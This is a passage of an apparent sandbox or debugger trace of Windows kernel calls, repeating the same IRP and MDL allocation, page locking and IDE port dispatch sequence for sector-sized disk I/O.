IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.762] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.762] IdePortDispatch () returned 0x103 [0099.763] KeWaitForMutexObject () returned 0x0 [0099.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.763] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.763] IdePortDispatch () returned 0x103 [0099.763] KeWaitForMutexObject () returned 0x0 [0099.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.763] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.763] IdePortDispatch () returned 0x103 [0099.763] KeWaitForMutexObject () returned 0x0 [0099.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.763] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.763] IdePortDispatch () returned 0x103 [0099.763] KeWaitForMutexObject () returned 0x0 [0099.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.763] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.764] IdePortDispatch () returned 0x103 [0099.764] KeWaitForMutexObject () returned 0x0 [0099.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.764] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.764] IdePortDispatch () returned 0x103 [0099.764] KeWaitForMutexObject () returned 0x0 [0099.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.764] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.764] IdePortDispatch () returned 0x103 [0099.764] KeWaitForMutexObject () returned 0x0 [0099.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.766] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.766] IdePortDispatch () returned 0x103 [0099.767] KeWaitForMutexObject () returned 0x0 [0099.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.767] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.767] IdePortDispatch () returned 0x103 [0099.767] KeWaitForMutexObject () returned 0x0 [0099.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.767] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.767] IdePortDispatch () returned 0x103 [0099.767] KeWaitForMutexObject () returned 0x0 [0099.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.767] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.767] IdePortDispatch () returned 0x103 [0099.768] KeWaitForMutexObject () returned 0x0 [0099.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.768] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.768] IdePortDispatch () returned 0x103 [0099.768] KeWaitForMutexObject () returned 0x0 [0099.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.768] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.768] IdePortDispatch () returned 0x103 [0099.768] KeWaitForMutexObject () returned 0x0 [0099.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.768] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.768] IdePortDispatch () returned 0x103 [0099.768] KeWaitForMutexObject () returned 0x0 [0099.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.768] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.769] IdePortDispatch () returned 0x103 [0099.769] KeWaitForMutexObject () returned 0x0 [0099.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.769] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.769] IdePortDispatch () returned 0x103 [0099.769] KeWaitForMutexObject () returned 0x0 [0099.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.769] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.769] IdePortDispatch () returned 0x103 [0099.769] KeWaitForMutexObject () returned 0x0 [0099.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.769] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.769] IdePortDispatch () returned 0x103 [0099.770] KeWaitForMutexObject () returned 0x0 [0099.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.770] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.770] IdePortDispatch () returned 0x103 [0099.770] KeWaitForMutexObject () returned 0x0 [0099.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.770] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.770] IdePortDispatch () returned 0x103 [0099.770] KeWaitForMutexObject () returned 0x0 [0099.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.770] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.770] IdePortDispatch () returned 0x103 [0099.770] KeWaitForMutexObject () returned 0x0 [0099.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.771] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.771] IdePortDispatch () returned 0x103 [0099.771] KeWaitForMutexObject () returned 0x0 [0099.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.771] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.771] IdePortDispatch () returned 0x103 [0099.771] KeWaitForMutexObject () returned 0x0 [0099.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.771] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.771] IdePortDispatch () returned 0x103 [0099.772] KeWaitForMutexObject () returned 0x0 [0099.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.772] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.772] IdePortDispatch () returned 0x103 [0099.773] KeWaitForMutexObject () returned 0x0 [0099.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.773] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.773] IdePortDispatch () returned 0x103 [0099.773] KeWaitForMutexObject () returned 0x0 [0099.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.773] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.773] IdePortDispatch () returned 0x103 [0099.773] KeWaitForMutexObject () returned 0x0 [0099.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.773] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.773] IdePortDispatch () returned 0x103 [0099.773] KeWaitForMutexObject () returned 0x0 [0099.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.774] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.774] IdePortDispatch () returned 0x103 [0099.774] KeWaitForMutexObject () returned 0x0 [0099.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.774] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.774] IdePortDispatch () returned 0x103 [0099.774] KeWaitForMutexObject () returned 0x0 [0099.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.774] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.774] IdePortDispatch () returned 0x103 [0099.774] KeWaitForMutexObject () returned 0x0 [0099.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.774] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.774] IdePortDispatch () returned 0x103 [0099.775] KeWaitForMutexObject () returned 0x0 [0099.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.775] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.775] IdePortDispatch () returned 0x103 [0099.775] KeWaitForMutexObject () returned 0x0 [0099.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.775] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.775] IdePortDispatch () returned 0x103 [0099.775] KeWaitForMutexObject () returned 0x0 [0099.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.775] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.775] IdePortDispatch () returned 0x103 [0099.776] KeWaitForMutexObject () returned 0x0 [0099.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.776] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.776] IdePortDispatch () returned 0x103 [0099.776] KeWaitForMutexObject () returned 0x0 [0099.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.776] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.776] IdePortDispatch () returned 0x103 [0099.776] KeWaitForMutexObject () returned 0x0 [0099.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.776] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.776] IdePortDispatch () returned 0x103 [0099.776] KeWaitForMutexObject () returned 0x0 [0099.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.776] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.776] IdePortDispatch () returned 0x103 [0099.777] KeWaitForMutexObject () returned 0x0 [0099.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.777] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.777] IdePortDispatch () returned 0x103 [0099.777] KeWaitForMutexObject () returned 0x0 [0099.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.777] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.777] IdePortDispatch () returned 0x103 [0099.777] KeWaitForMutexObject () returned 0x0 [0099.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.777] MmProbeAndLockPages (in: 